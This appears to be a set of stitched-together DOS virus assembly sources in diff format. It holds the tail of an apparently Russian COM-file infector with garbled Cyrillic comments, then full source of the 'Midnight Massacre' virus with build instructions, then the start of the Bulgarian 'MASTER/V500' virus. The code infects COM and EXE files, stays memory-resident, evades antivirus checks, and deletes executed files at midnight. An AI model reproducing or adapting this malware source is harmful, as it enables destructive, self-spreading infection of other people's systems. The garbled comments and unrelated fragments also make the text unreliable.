int 21h ;¯¥à¥å¢ â ªà¨â¨ç¥áª®© ®è¨¡ª¨
|
||||
;¯à®¨á室¨â ⮫쪮 ¯à¨ § ¯ã᪥,
|
||||
;¤ ¡ë ä ©«ë ¥ ¯¥ç â «¨áì
|
||||
;¯à¨â¥à , ª®â®à®£® ¥âã !
|
||||
pop ds
|
||||
pop dx
|
||||
|
||||
call cmpnol ;¨é¥¬ ®«ì ¢ ª®æ¥ ¯ãâ¨ á ¨¬¥¥¬
|
||||
call cmpcom ; ¥ COM «¨ íâ® á«ãç ©® ?
|
||||
jnc pr1 ; €ƒ€ ! ‡ ç¨â ¢á¥-â ª¨ COM !
|
||||
jmp exit ; ã ¥ ¡ã¤¥¬ § à ¦ âì, çâ® ¯®¤¥« âì ...
|
||||
pr1:
|
||||
;á®åà 塞 ¢ ¯¥à¥¬¥ë¥ ᥣ¬¥â ¨ ᬥ饨¥ § ¯ã᪠¥¬®£® ä ©«
|
||||
|
||||
mov word ptr cs:[offset adname - offset start],dx
|
||||
mov word ptr cs:[offset adname - offset start+2],ds
|
||||
call catt ;áïâì âਡãâë
|
||||
mov ax,3d02h ;®âªàë¢ ¥¬ ä ©«
|
||||
int 21h
|
||||
mov bx,ax
|
||||
call gettime ;¯®«ãç ¥¬ ¨ á®åà 塞 ¢à¥¬ï
|
||||
|
||||
; íâ®â ªãá®ç¥ª §¤¥áì ª®¥ç® §àï,
|
||||
; ® íâ® ¡ë«® ¤ ¢® ¨ ¥¯à ¢¤
|
||||
mov ax,4202h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
|
||||
push ds
|
||||
push cs
|
||||
pop ds ; ᥣ¬¥â ¤ ëå ãáâ ¢«¨¢ ¥¬ ª®¤ ¢¨àãá
|
||||
|
||||
mov ax,4200h ; §¤¥áì ª®¥ç® ¡ë«® ¢á¥ ¯ãâ ® ,® § ¬¥âìâ¥,
|
||||
; CX:DX ¢á¥ à ¢® 㫨
|
||||
int 21h
|
||||
|
||||
mov ah,3fh
|
||||
mov dx,offset virend - offset start
|
||||
mov cx,4h
|
||||
int 21h ; ç¨â ¥¬ ç «® ä ©« ¢ ®¡« áâì § ¢¨àãᮬ
|
||||
|
||||
; ¥á«¨ § à ¦¥® , â® ç¥â¢¥àâë© ¡ ©â ¤®«¦¥ ¡ëâì 'Q'
|
||||
cmp byte ptr ds:[offset virend - offset start + 3],'Q'
|
||||
jnz ok2
|
||||
pop ds
|
||||
jmp closeexit ; ¢ë室 á § ªàë⨥¬ ä ©« ¨ ¢®ááâ ®¢ª®© ®á⠫쮣®
|
||||
; ¤®¡à
|
||||
ok2:
|
||||
xor si,si
|
||||
mov dx,0 - 200h
|
||||
p2:
|
||||
;á«¥¤ãî騩 äà £¬¥â áç¨âë¢ ¥â ¢ ¯ ¬ïâì ¯®á«¥¤®¢ â¥«ì® ¢¥áì ä ©«
|
||||
;¯® 200h ¨ ᪠¨àã¥â ®¯à¥¤¥«¥®¥ ª®«¨ç¥á⢮ ã«¥© ( ¨¬¥® 777),
|
||||
|
||||
mov ax,4200h
|
||||
add dx,200h
|
||||
xor cx,cx
|
||||
int 21h
|
||||
push ax
|
||||
mov ah,3fh
|
||||
mov dx,offset virend - offset start
|
||||
mov cx,200h
|
||||
int 21h
|
||||
cmp ax,0
|
||||
jnz d3
|
||||
pop dx ; ä ©« § ª®ç¨«áï
|
||||
jmp d2
|
||||
d3:
|
||||
cmp ax,200h
|
||||
jz ok4
|
||||
add ax,offset virend - offset start
|
||||
mov di,ax
|
||||
mov word ptr ds:[di],0ffh ; íâ® çâ®-â® ¢à®¤¥ ª®æ®¢®çª¨
|
||||
ok4:
|
||||
call scanspace ; ᪠¨à㥬 ¯à®ç¨â ë¥ 200h
|
||||
pop dx
|
||||
cmp si,offset virend - offset start
|
||||
jc p2 ; ¥á«¨ ª®«-¢® ã«¥© ¬¥ìè¥ ç¥¬ à §¬¥à ¢¨àãá
|
||||
; â® ¯à®¤®«¦ ¥¬ ᪠¨à®¢ ¨¥
|
||||
|
||||
sub di,(offset virend - offset start)
|
||||
add dx,di
|
||||
sub dx,si
|
||||
push dx ; ¢ DX ᬥ饨¥ ¢ ä ©«¥ ,ª®â®à®¥ 㪠§ë¢ ¥â
|
||||
; ©¤¥ãî ®¡« áâì á ã«ï¬¨
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
mov ah,3fh
|
||||
mov cx,4h
|
||||
mov dx,offset real - offset start
|
||||
int 21h ; ç¨â ¥¬ ॠ«ìë¥ ¡ ©â¨ª¨ ¯à®£à.
|
||||
mov ax,4200h
|
||||
xor cx,cx
|
||||
xor dx,dx
|
||||
int 21h
|
||||
mov si,offset virend - offset start
|
||||
mov byte ptr ds:[si],0e9h
|
||||
pop dx
|
||||
push dx
|
||||
sub dx,3
|
||||
mov word ptr ds:[si+1],dx ; ¯®¤£®â ¢«¨¢ ¥¬ ç «ìë¥ ç¥âëॠ¡ ©â
|
||||
mov byte ptr ds:[si+3],'Q' ; íâ® ¬¥âª § à ¦¥®áâ¨
|
||||
mov ah,40h
|
||||
mov cx,4h
|
||||
mov dx,offset virend - offset start
|
||||
int 21h ; § ¯¨áë¢ ¥¬ ¨å
|
||||
pop dx ; ¢ DX ¤à¥á ®¡« á⨠á ã«ï¬¨
|
||||
xor cx,cx
|
||||
mov ax,4200h
|
||||
int 21h
|
||||
mov ah,40h
|
||||
mov cx,offset virend - offset start
|
||||
xor dx,dx
|
||||
int 21h ; ¤®¯¨áë¢ ¥¬ â㤠⥫® ¢¨àãá
|
||||
d2:
|
||||
pop ds
|
||||
closeexit:
|
||||
call puttime ; ¢®ááâ ¢«¨¢ ¥¬ ¢à¥¬ï
|
||||
mov ah,3eh
|
||||
int 21h ; ¢á¥ ! à ¡®ç¨© ¤¥ì ª®ç¨«áï !
|
||||
exit:
|
||||
pop di
|
||||
pop si
|
||||
pop ds
|
||||
pop es
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
exitint21:
|
||||
db 0eah
|
||||
int21e dw ?
|
||||
dw ?
|
||||
adname dw ?
|
||||
dw ?
|
||||
int24entry:
|
||||
mov ax,0h ; íâ® ABORT ! •®à®è®, çâ® ¬ë ¥ ¢ ˆâ «¨¨ !
|
||||
iret
|
||||
time dw ?
|
||||
dw ?
|
||||
;------------------------------------- ¯®¨áª ã«ï ¢ ª®æ¥ ¯ãâ¨ á ¨¬¥¥¬
|
||||
cmpnol:
|
||||
mov bx,dx
|
||||
nol:
|
||||
inc bx
|
||||
cmp byte ptr ds:[bx],0h
|
||||
jnz nol
|
||||
ret
|
||||
;------------------------------------- ¯à®¢¥àª COM
|
||||
cmpcom:
|
||||
cmp word ptr ds:[bx-2],'MO'
|
||||
clc
|
||||
jz exitcmpexe
|
||||
stc
|
||||
exitcmpexe:
|
||||
ret
|
||||
;--------------------------------------- ¯®«ã票¥ ¨ ãáâ ®¢ª ®à¬ «ìëå
|
||||
; âਡã⮢
|
||||
catt:
|
||||
push ds
|
||||
push dx
|
||||
mov ax,4300h
|
||||
LDS dx,dword ptr cs:[offset adname - offset start]
|
||||
int 21h
|
||||
and cl,11111110b
|
||||
mov ax,4301h
|
||||
int 21h
|
||||
pop dx
|
||||
pop ds
|
||||
ret
|
||||
;--------------------------------------- ¯®«ã票¥ ¨ á®åà ¥¨¥ ¢à¥¬¥¨
|
||||
gettime:
|
||||
mov ax,5700h
|
||||
int 21h
|
||||
and cl,11100000b
|
||||
mov word ptr cs:[offset time - offset start],cx
|
||||
mov word ptr cs:[offset time - offset start+2],dx
|
||||
ret
|
||||
;----------------------------------------- ¢®§¢à 饨¥ áâ ண® ¢à¥¬¥¨ ;)
|
||||
puttime:
|
||||
mov ax,5701h
|
||||
mov cx,word ptr cs:[offset time - offset start]
|
||||
mov dx,word ptr cs:[offset time - offset start+2]
|
||||
int 21h
|
||||
ret
|
||||
;------------------------------------------ ᪠¨à®¢ ¨¥ 㫨
|
||||
scanspace:
|
||||
mov di,offset virend - offset start - 1
|
||||
opsc:
|
||||
inc di
|
||||
cmp di,(offset virend - offset start) + 200h
|
||||
jnc exsc
|
||||
mov al,ds:[di]
|
||||
cmp al,0
|
||||
jnz clscan
|
||||
inc si
|
||||
jmp opsc
|
||||
exsc:
|
||||
ret
|
||||
clscan:
|
||||
cmp si,offset virend - offset start
|
||||
jc ok3
|
||||
ret
|
||||
ok3:
|
||||
xor si,si
|
||||
jmp opsc
|
||||
|
||||
int10entry:
|
||||
cmp ax,0005h ; ¯à®¢¥àª ãáâ ®¢«¥¨¥ CGA 320x200
|
||||
jz svert ; ¥á«¨ â ª®¢®©, â® à¨á㥬 ¯à®«¥â î騩 ¢¥à⮫¥â
|
||||
exitint10:
|
||||
db 0eah
|
||||
int10e dw ?
|
||||
dw ?
|
||||
svert:
|
||||
cmp si,22h
|
||||
jz exitint10 ; ®¡å®¤¨¬ ᮡáâ¢¥ë¥ ¢ë§®¢ë
|
||||
|
||||
; �“ € �’Ž - ‚…�’Ž‹…’ !
|
||||
|
||||
vert:
|
||||
push ds
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push dx
|
||||
push si
|
||||
push di
|
||||
push bp
|
||||
push es
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
mov ax,0b800h
|
||||
mov es,ax
|
||||
mov si,22h
|
||||
mov ax,5
|
||||
int 10h
|
||||
mov cx,70
|
||||
mov dx,30
|
||||
bb:
|
||||
push cx
|
||||
mov cx,6000h
|
||||
zlp:
|
||||
loop zlp
|
||||
pop cx
|
||||
|
||||
call bert
|
||||
loop bb
|
||||
pop es
|
||||
pop bp
|
||||
pop di
|
||||
pop si
|
||||
pop dx
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop ds
|
||||
jmp exitint10
|
||||
;------------------------
|
||||
bert:
|
||||
push dx
|
||||
push cx
|
||||
push ax
|
||||
push si
|
||||
push di
|
||||
|
||||
mov ax,dx
|
||||
mov bx,80
|
||||
mul bx
|
||||
add ax,cx
|
||||
mov di,ax
|
||||
mov bp,0
|
||||
mov si,offset berts - offset start
|
||||
opbert:
|
||||
mov cx,6
|
||||
push di
|
||||
rep movsb
|
||||
pop di
|
||||
add di,2000h
|
||||
inc bp
|
||||
cmp bp,12
|
||||
je exbert
|
||||
mov cx,6
|
||||
push di
|
||||
rep movsb
|
||||
pop di
|
||||
sub di,2000h-80
|
||||
inc bp
|
||||
cmp bp,12
|
||||
je exbert
|
||||
jmp opbert
|
||||
exbert:
|
||||
pop di
|
||||
pop si
|
||||
pop ax
|
||||
pop cx
|
||||
pop dx
|
||||
ret
|
||||
;================================
|
||||
berts db 0,0,0,0,0,0 ; ¢¥à⮫¥â, ¨«¨ ¯®-ãªà ¨áª¨ - 奫¨ª®¯â¥à
|
||||
db 0,0,0,0,0,0
|
||||
db 0,0,55h,40h,0,0
|
||||
db 0,0,4,0,0,0
|
||||
db 0,1,44h,0,0,0
|
||||
db 0,15h,55h,0,4,0
|
||||
db 0,50h,57h,55h,55h,0
|
||||
db 0,15h,75h,55h,4,0
|
||||
db 0,5,55h,0,0,0
|
||||
db 0,0,10h,0,0,0
|
||||
db 0,0,0,0,0,0
|
||||
db 0,0,0,0,0,0
|
||||
;=================================
|
||||
db '·‚“೟�˜•Ÿàßß྇ཎŸ†‡àß' ; § è¨ä஢ ®¥ ¯®á« ¨¥ ¯®â®¬ª ¬
|
||||
; î§ ©â¥ NEG.
|
||||
|
||||
virend:
|
||||
seg_a ends
|
||||
end start
|
||||
@@ -0,0 +1,563 @@
|
||||
;****************************************************************************
|
||||
;* Midnight Massacre virus *
|
||||
;* by Crypt Keeper *
|
||||
;****************************************************************************
|
||||
|
||||
;Version 1.2
|
||||
;Entry point and check resident bugs fixed.
|
||||
|
||||
;Midnight Massacre is based on the Eleet! virus, but with added .COM
|
||||
;support, bugs in infection process fixed, and new load resident and
|
||||
;trigger routines. The Midnight Massacre virus will infect .COM or
|
||||
;.EXE files as they are opened, executed, or their attributes are
|
||||
;accessed. Also, if the system time is 12:00am, the virus will delete
|
||||
;any file executed or opened for any reason (midnight massacre).
|
||||
;Midnight Massacre also has a unique memory-resident installation
|
||||
;routine that will load it into the UMB if a high memory driver is
|
||||
;present, or 1000h paragraphs down from top of memory, if no HMA
|
||||
;driver is loaded. Midnight Massacre will not infect COMMAND.COM
|
||||
|
||||
;TASM MASSACRE.ASM /M3
|
||||
;TLINK MASSACRE.OBJ /t
|
||||
;The generated .COM file is ready to run with no modifications.
|
||||
|
||||
.model tiny
|
||||
.code
|
||||
|
||||
org 100h
|
||||
|
||||
massacre: ;start of virus code
|
||||
|
||||
vtop equ $ ;top of virus code block
|
||||
|
||||
;Equates --------------------------------------------------------------------
|
||||
|
||||
vlength equ vbot-vtop ;virus length in bytes
|
||||
heapsiz equ hbot-heap ;heap size in bytes
|
||||
vlres equ ((vlength+heapsiz+100h)/16)+1 ;virus length in paragraphs
|
||||
vlpage equ (vlength/512)+1 ;virus length in pages
|
||||
chkfunc equ 9AC7h ;check resident int 21h function
|
||||
virusid equ 0000h ;virus ID word in exeheader
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
db 0BDh ;mov bp,
|
||||
delta dw 0 ;delta offset
|
||||
|
||||
lea sp,[bp+(offset(sspace)+64)] ;set up new stack
|
||||
|
||||
push ds
|
||||
push es ;save original EXE segments
|
||||
|
||||
cld ;clear direction flag
|
||||
|
||||
mov ax,chkfunc
|
||||
int 2Fh
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
cmp ax,chkfunc+1 ;did virus return reply?
|
||||
jne install ;if not, install resident
|
||||
|
||||
jmp return ;if so, return to original program
|
||||
|
||||
install:
|
||||
mov ax,3521h ;Get int 21h vector
|
||||
int 21h
|
||||
|
||||
mov [bp+offset(i21veco)],bx
|
||||
mov [bp+offset(i21vecs)],es
|
||||
|
||||
mov ax,352Fh ;Get int 2Fh vector
|
||||
int 21h
|
||||
|
||||
mov [bp+offset(i2Fveco)],bx
|
||||
mov [bp+offset(i2Fvecs)],es
|
||||
|
||||
mov ax,4300h ;get himem.sys installed state
|
||||
int 2Fh ;multiplex interrupt
|
||||
|
||||
cmp al,80h ;80h in al means himem.sys is loaded
|
||||
jne get_old_fashioned_way
|
||||
|
||||
mov ax,4310h ;get himem.sys entry point adress
|
||||
int 2Fh
|
||||
|
||||
mov [bp+offset(himem_o)],bx
|
||||
mov [bp+offset(himem_s)],es ;save entry point for calling
|
||||
|
||||
mov ah,10h ;allocate UMB (function 10h)
|
||||
mov dx,vlres ;paragraphs to request
|
||||
|
||||
call dword ptr [bp+offset(himem_o)] ;call himem.sys
|
||||
mov ax,bx ;BX will contain segment of memory
|
||||
jmp short go_ahead_load ;continue with load procedure
|
||||
|
||||
get_old_fashioned_way:
|
||||
int 12h ;get total k-bytes of RAM in conv. mem
|
||||
|
||||
xor dx,dx
|
||||
mov cx,1024
|
||||
mul cx
|
||||
mov cx,16
|
||||
div cx ;convert to paragraphs
|
||||
|
||||
sub ax,1000h ;put it 1000h paragraphs down from TOM
|
||||
|
||||
go_ahead_load:
|
||||
mov es,ax ;segment of allocated memory arena
|
||||
|
||||
lea si,[bp+offset(massacre)] ;bp=start of virus code
|
||||
mov cx,vlength+heapsiz ;virus length in bytes+heap data
|
||||
mov di,100h
|
||||
|
||||
rep movsb ;copy virus code up there
|
||||
|
||||
push es
|
||||
pop ds
|
||||
|
||||
mov dx,offset(i2Fvec) ;new int 21h vector
|
||||
mov ax,252Fh ;set int 21h vector
|
||||
int 21h
|
||||
|
||||
mov dx,offset(i21vec) ;new int 21h vector
|
||||
mov ax,2521h ;set int 21h vector
|
||||
int 21h
|
||||
|
||||
return: cmp byte ptr [bp+offset(comid)],0 ;is this a .COM file we're from?
|
||||
jne return_exe
|
||||
|
||||
mov sp,0FFFEh ;set old stack pointer
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
push cs
|
||||
pop es
|
||||
|
||||
lea si,[bp+offset(saved)] ;saved bytes from original .COM
|
||||
mov di,100h
|
||||
push di ;set up for return
|
||||
|
||||
mov cx,compend-cptop ;size of branch code to replace
|
||||
|
||||
rep movsb ;replace branch code
|
||||
|
||||
ret ;jump back to top of code segment
|
||||
return_exe:
|
||||
mov ah,51h ;Get PSP adress
|
||||
int 21h
|
||||
|
||||
add bx,16 ;Compensate for PSP size
|
||||
|
||||
pop es
|
||||
pop ds ;Restore original ES and DS from EXE
|
||||
|
||||
cli ;Clear interrupts for stack change
|
||||
|
||||
mov sp,cs:[bp+offset(old_sp)]
|
||||
mov ax,cs:[bp+offset(old_ss)]
|
||||
add ax,bx ;Find segment for SS
|
||||
mov ss,ax ;Reset original EXE stack
|
||||
|
||||
sti
|
||||
|
||||
add cs:[bp+offset(old_cs)],bx ;Find segment for CS
|
||||
|
||||
jmp dword ptr cs:[bp+offset(old_ip)] ;Far jump to original EXE code
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
i2Fvec: cmp ax,chkfunc ;check resident function?
|
||||
je ret_reply ;if so, return a reply
|
||||
|
||||
jmp dword ptr cs:i2Fveco
|
||||
ret_reply:
|
||||
inc ax
|
||||
iret ;return with reply
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
move_pointer_beginning:
|
||||
xor dx,dx
|
||||
xor cx,cx
|
||||
|
||||
mov ax,4200h ;move file pointer to beginning of file
|
||||
jmp short function ;execute DOS function call
|
||||
|
||||
move_pointer_end:
|
||||
xor cx,cx
|
||||
xor dx,dx ;move pointer 0 bytes
|
||||
|
||||
mov ax,4202h ;move pointer to end of file
|
||||
;goes on to function procedure below
|
||||
|
||||
function:
|
||||
pushf
|
||||
call dword ptr cs:i21veco ;simulate int 21h call
|
||||
ret
|
||||
|
||||
;Data -----------------------------------------------------------------------
|
||||
|
||||
message db '[MIDNIGHT MASSACRE] V1.2 by Crypt Keeper'
|
||||
|
||||
old_sp dw 0
|
||||
old_ss dw 0FFF0h ;Old SS:SP
|
||||
old_ip dw 0
|
||||
old_cs dw 0FFF0h ;Old CS:IP
|
||||
|
||||
exeext db 'EXE'
|
||||
comext db 'COM' ;Extensions to look for
|
||||
|
||||
comid db 0 ;set to 0 if .COM file by loader
|
||||
|
||||
cptop equ $ ;start of COM file branch program
|
||||
comproc:
|
||||
nop
|
||||
db 0BBh ;MOV BX,
|
||||
voffset dw 0 ;virus jump offset
|
||||
push bx
|
||||
ret
|
||||
compend equ $ ;End of COM file branch program
|
||||
|
||||
saved db 0CDh,20h ;for proper return on gen #1 file
|
||||
db (compend-cptop)-2 dup (0) ;saved .COM file bytes
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
i21vec: nop
|
||||
|
||||
xchg ax,dx ;load into another register to fool
|
||||
;TBAV's interception check flag
|
||||
|
||||
cmp dx,4B00h ;load and execute program?
|
||||
je vtrigger
|
||||
|
||||
cmp dx,4B01h ;load program?
|
||||
je vtrigger
|
||||
|
||||
cmp dh,3Dh ;open file with handle?
|
||||
je vtrigger
|
||||
|
||||
cmp dx,4301h ;set file attributes?
|
||||
je vtrigger
|
||||
|
||||
cmp dx,4300h ;get file attributes?
|
||||
je vtrigger
|
||||
|
||||
xchg ax,dx
|
||||
|
||||
jmp dword ptr cs:i21veco
|
||||
vtrigger:
|
||||
xchg ax,dx
|
||||
|
||||
push es
|
||||
push si
|
||||
push di
|
||||
push ax
|
||||
push bx
|
||||
push cx
|
||||
push ds
|
||||
push dx
|
||||
|
||||
mov ah,2Ch ;Get time
|
||||
int 21h
|
||||
|
||||
pop dx
|
||||
push dx ;get old DX off stack
|
||||
|
||||
cmp cx,0 ;midnight?
|
||||
jne no_massacre ;if not, skip the massacre
|
||||
|
||||
mov ah,41h ;delete file
|
||||
int 21h
|
||||
|
||||
jmp short exitvec ;exit from interrupt
|
||||
|
||||
no_massacre:
|
||||
push ds
|
||||
pop es
|
||||
mov di,dx
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
cld ;clear direction flag
|
||||
mov cx,128 ;maximum number of chars in a filename
|
||||
mov al,'.' ;search for extension seperator
|
||||
|
||||
repne scasb ;find file extension
|
||||
|
||||
cmp cx,0 ;no extension found?
|
||||
je exitvec
|
||||
|
||||
mov bx,di
|
||||
|
||||
upcase: cmp byte ptr es:[di],97
|
||||
jb skip_change
|
||||
cmp byte ptr es:[di],122
|
||||
ja skip_change ;non-letters are not affected
|
||||
and byte ptr es:[di],5Fh ;make character upper case
|
||||
skip_change:
|
||||
inc di
|
||||
loop upcase
|
||||
|
||||
mov di,bx
|
||||
|
||||
mov si,offset(exeext) ;extension to compare to
|
||||
mov cx,3 ;3 bytes to compare
|
||||
|
||||
repe cmpsb ;is the extension 'EXE'?
|
||||
|
||||
cmp cx,0 ;were they equal?
|
||||
je infect_exe ;if so, infect the .EXE file
|
||||
|
||||
mov di,bx
|
||||
|
||||
mov si,offset(comext) ;extension to compare to
|
||||
mov cx,3 ;3 bytes to compare
|
||||
|
||||
repe cmpsb ;is the extension 'COM'?
|
||||
|
||||
cmp cx,0 ;were they equal?
|
||||
jne exitvec ;if not, terminate
|
||||
|
||||
sub bx,3
|
||||
cmp word ptr es:[bx],'DN' ;end with 'ND'?
|
||||
je exitvec
|
||||
|
||||
jmp infect_com ;infect the .COM file
|
||||
exitvec:
|
||||
pop dx
|
||||
pop ds
|
||||
pop cx
|
||||
pop bx
|
||||
pop ax
|
||||
pop di
|
||||
pop si
|
||||
pop es
|
||||
|
||||
jmp dword ptr cs:i21veco ;execute rest of interrupt chain
|
||||
|
||||
infect_exe:
|
||||
pop dx
|
||||
push dx ;get adress of filename off stack
|
||||
call prepare_infect ;prepare to infect
|
||||
|
||||
mov cx,28 ;size of EXE header + extra stuff
|
||||
mov dx,offset(exeheader) ;EXE header data space
|
||||
|
||||
mov ah,3Fh ;read file or device
|
||||
int 21h
|
||||
|
||||
mov ax,exesign
|
||||
xor ax,0ABCDh ;kill TBAV's check exe/com flag
|
||||
cmp ax,0E697h
|
||||
je exe_ok
|
||||
cmp ax,0F180h
|
||||
je exe_ok ;if EXE ID field is ok, go ahead
|
||||
|
||||
jmp endinfection ;If not good EXE, end infection
|
||||
|
||||
exe_ok: cmp idword,virusid ;virus already infected?
|
||||
jne not_infected ;if not, proceed
|
||||
|
||||
jmp endinfection
|
||||
|
||||
not_infected:
|
||||
les si,dword ptr ds:initip ;get CS:IP from EXE header
|
||||
mov old_cs,es
|
||||
mov old_ip,si
|
||||
|
||||
les si,dword ptr ds:initss ;get SS:SP (reversed)
|
||||
mov old_ss,si
|
||||
mov old_sp,es
|
||||
|
||||
call move_pointer_end ;move file pointer to end of file
|
||||
|
||||
mov cx,10h
|
||||
div cx ;convert to paragraphs
|
||||
|
||||
push ax
|
||||
sub ax,headers ;subtract header size in paragraphs
|
||||
|
||||
pop cx
|
||||
cmp ax,cx
|
||||
ja endinfection ;If file too small, end infection
|
||||
|
||||
mov initcs,ax
|
||||
mov initip,dx ;set initial CS:IP in exe header
|
||||
sub dx,100h
|
||||
mov delta,dx ;set delta offset in virus
|
||||
|
||||
mov initss,ax
|
||||
mov idword,virusid ;set initial SS:SP in exe header
|
||||
|
||||
add minallc,vlres+1 ;add virus size to minimum memory
|
||||
|
||||
mov comid,0FFh ;set COM-ID field to nonzero (not COM)
|
||||
|
||||
mov cx,vlength ;number of bytes in virus
|
||||
mov dx,100h
|
||||
|
||||
mov ah,40h ;write file or device
|
||||
int 21h
|
||||
|
||||
call move_pointer_end ;move file pointer to end of file
|
||||
|
||||
mov cx,512
|
||||
div cx ;change bytes in new file to pages
|
||||
cmp dx,0 ;no remainder?
|
||||
je go_ahead_set
|
||||
|
||||
inc ax ;if remainder, add another page
|
||||
|
||||
go_ahead_set:
|
||||
mov expages,ax
|
||||
mov exbytes,dx ;set EXE file size
|
||||
|
||||
call move_pointer_beginning ;move pointer to beginning of file
|
||||
|
||||
mov cx,28 ;header size in bytes
|
||||
mov dx,offset(exeheader) ;write exe header back out to file
|
||||
|
||||
mov ah,40h ;write file or device
|
||||
call function
|
||||
|
||||
endinfection:
|
||||
mov cx,oldtime
|
||||
mov dx,olddate
|
||||
|
||||
mov ax,5701h ;set file date and time
|
||||
int 21h
|
||||
|
||||
mov ah,3Eh ;close file with handle
|
||||
int 21h
|
||||
|
||||
pop dx
|
||||
pop ds ;get old location of filename
|
||||
|
||||
mov cx,oldattr
|
||||
mov ax,4301h ;set file attributes
|
||||
call function
|
||||
|
||||
jmp exitvec ;return from interrupt
|
||||
|
||||
prepare_infect:
|
||||
push es
|
||||
pop ds
|
||||
|
||||
mov ax,4300h ;get file attributes
|
||||
call function
|
||||
|
||||
jnc file_ok ;no carry means filename exists
|
||||
|
||||
jmp exitvec
|
||||
|
||||
file_ok:
|
||||
pop ax ;preserve return vector
|
||||
|
||||
push ds
|
||||
push dx
|
||||
|
||||
push ax ;put return vector on top of stack
|
||||
|
||||
mov cs:oldattr,cx ;save old file attributes
|
||||
|
||||
xor cx,cx ;set to normal attributes
|
||||
|
||||
mov ax,4301h ;set file attributes
|
||||
call function
|
||||
|
||||
mov ax,3D02h ;open file for read/write access
|
||||
call function
|
||||
|
||||
mov bx,ax ;file handle
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov ax,5700h ;get file date and time
|
||||
int 21h
|
||||
|
||||
mov oldtime,cx
|
||||
mov olddate,dx ;save old time and date
|
||||
ret
|
||||
|
||||
infect_com:
|
||||
pop dx
|
||||
push dx ;get adress of filename off stack
|
||||
call prepare_infect ;open and prepare to infect
|
||||
|
||||
mov cx,compend-cptop ;size of .COM file branch code
|
||||
mov dx,offset(saved) ;saved bytes buffer
|
||||
|
||||
mov ah,3Fh ;read file or device
|
||||
int 21h
|
||||
|
||||
mov ax,word ptr comproc
|
||||
cmp word ptr saved,ax ;is file already infected?
|
||||
je endinfection
|
||||
|
||||
mov comid,0 ;zero .COM id field
|
||||
call move_pointer_end ;move file pointer to EOF
|
||||
|
||||
mov delta,ax ;delta offset
|
||||
add ax,100h
|
||||
mov voffset,ax ;offset of virus code in .COM file
|
||||
|
||||
mov cx,vlength ;length of virus to write
|
||||
mov dx,100h
|
||||
|
||||
mov ah,40h ;write file or device
|
||||
int 21h
|
||||
|
||||
call move_pointer_beginning ;move file pointer to start of file
|
||||
|
||||
mov cx,compend-cptop ;size of .COM file branch code
|
||||
mov dx,offset(comproc) ;.COM file branch code to write
|
||||
|
||||
mov ah,40h ;write file or device
|
||||
int 21h
|
||||
|
||||
jmp endinfection ;we're done.
|
||||
|
||||
;----------------------------------------------------------------------------
|
||||
|
||||
vbot equ $ ;bottom of virus code
|
||||
heap equ $ ;Beginning of heap
|
||||
|
||||
himem_o dw 0
|
||||
himem_s dw 0 ;himem.sys entry point adress
|
||||
|
||||
i21veco dw 0
|
||||
i21vecs dw 0 ;int 21h vector
|
||||
|
||||
exeheader:
|
||||
exesign dw 0 ;EXE signature
|
||||
exbytes dw 0 ;number of bytes in last page
|
||||
expages dw 0 ;number of pages in file
|
||||
reloci dw 0 ;number of items in relocation table
|
||||
headers dw 0 ;size of header in paragraphs
|
||||
minallc dw 0 ;minimum memory to be allocated
|
||||
maxallc dw 0 ;maximum memory to be allocated
|
||||
initss dw 0 ;initial SS value
|
||||
idword dw 0 ;initial SP value (used as ID word)
|
||||
chksum dw 0 ;complimented checksum
|
||||
initip dw 0 ;initial IP value
|
||||
initcs dw 0 ;initial CS value
|
||||
reltabl dw 0 ;byte offset to relocation table
|
||||
ovnum dw 0 ;overlay number
|
||||
|
||||
oldattr dw 0 ;old file attributes
|
||||
|
||||
oldtime dw 0
|
||||
olddate dw 0 ;old saved time and date
|
||||
|
||||
i2Fveco dw 0
|
||||
i2Fvecs dw 0 ;old INT 2Fh vectors
|
||||
|
||||
hbot equ $ ;bottom of heap
|
||||
|
||||
sspace db 64 dup ('+') ;virus stack
|
||||
|
||||
end massacre
|
||||
@@ -0,0 +1,310 @@
|
||||
; (C) Copyright VirusSoft Corp. Sep., 1990
|
||||
;
|
||||
; This is the SOURCE file of last version of MASTER,(V500),(MG) ect.
|
||||
; virus, distributed by VirusSoft company . First version was made
|
||||
; in May., 1990 . Please don't make any corections in this file !
|
||||
;
|
||||
; Bulgaria, Varna
|
||||
; Sep. 27, 1990
|
||||
|
||||
|
||||
|
||||
ofs = 201h
|
||||
len = offset end-ofs
|
||||
|
||||
call $+6
|
||||
|
||||
org ofs
|
||||
|
||||
first: dw 020cdh
|
||||
db 0
|
||||
|
||||
pop di
|
||||
dec di
|
||||
dec di
|
||||
mov si,[di]
|
||||
dec di
|
||||
add si,di
|
||||
push cs
|
||||
push di
|
||||
cld
|
||||
movsw
|
||||
movsb
|
||||
xchg ax,dx
|
||||
|
||||
mov ax,4b04h
|
||||
int 21h
|
||||
jnc residnt
|
||||
|
||||
xor ax,ax
|
||||
mov es,ax
|
||||
mov di,ofs+3
|
||||
mov cx,len-3
|
||||
rep movsb
|
||||
|
||||
les di,[6]
|
||||
mov al,0eah
|
||||
dec cx
|
||||
repne scasb
|
||||
les di,es:[di] ; Searching for the INT21 vector
|
||||
sub di,-1ah-7
|
||||
|
||||
db 0eah
|
||||
dw offset jump,0 ; jmp far 0000:jump
|
||||
|
||||
jump: push es
|
||||
pop ds
|
||||
mov si,[di+3-7] ;
|
||||
lodsb ;
|
||||
cmp al,68h ; compare DOS Ver
|
||||
mov [di+4-7],al ; Change CMP AH,CS:[????]
|
||||
mov [di+2-7],0fc80h ;
|
||||
mov [di-7],0fccdh ;
|
||||
|
||||
push cs
|
||||
pop ds
|
||||
|
||||
mov [1020],di ; int 0ffh
|
||||
